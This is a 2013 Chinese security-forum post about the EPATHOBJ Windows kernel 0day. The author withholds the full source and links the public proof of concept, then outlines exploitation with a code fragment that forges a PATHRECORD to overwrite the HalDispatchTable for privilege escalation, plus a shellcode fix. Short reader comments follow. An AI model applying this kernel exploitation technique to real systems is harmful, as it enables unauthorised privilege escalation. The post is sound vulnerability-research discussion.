-
-
[原创]迟来的6.1礼物 EPATHOBJ 0day exploit
-
发表于: 2013-6-3 13:18
-
Tavis Ormandy 在做压力测试的时候发现的这个漏洞.
see:
http://blog.cmpxchg8b.com/
http://seclists.org/fulldisclosure/2013/May/118
note:
为了防止某些童鞋用来干坏事和某些原因.把源码删了.. 
poc 见上面的链接.
感谢kman,原来的shellcode处最后堆栈没有平衡,在Shellcode的最后的ret改成retn 0x10就好了。抄代码需谨慎。。
下面说下利用的思路吧:
1, 首先要确保不蓝屏:
1) 构造一个新的PATHRECORD, 设置其next指针为NULL, flags为PD_BEGINSUBPATH.
还要确保MAGIC_DWORD那里可以访问.(MAGIC_DWORD见下面)
ExploitRecord.next = (PPATHRECORD)MAGIC_DWORD; //见下面分析
ExploitRecord.prev = (PPATHRECORD)WriteToHalDispatchTable;//这里是我们要写入地址的值
ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;//为了跳过内存访问异常的代码
ExploitRecord.count = 4;//为了跳过内存访问异常所设置
ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;
ExploitRecordExit->next = NULL;
ExploitRecordExit->next = NULL;
ExploitRecordExit->flags = PD_BEGINSUBPATH;
ExploitRecordExit->count = 0;
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
一点雪域都没有，系统加固直接拦截了HAl那个调用在R3调用，你懂得~
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
看了半天没看懂，擦
|
|
|
|
|
|
手下曾经一个小弟授权压力测试某游戏，发现N+M个漏洞，然后这货内心动摇了，然后发财了~
现在压力测试都很强大~ |
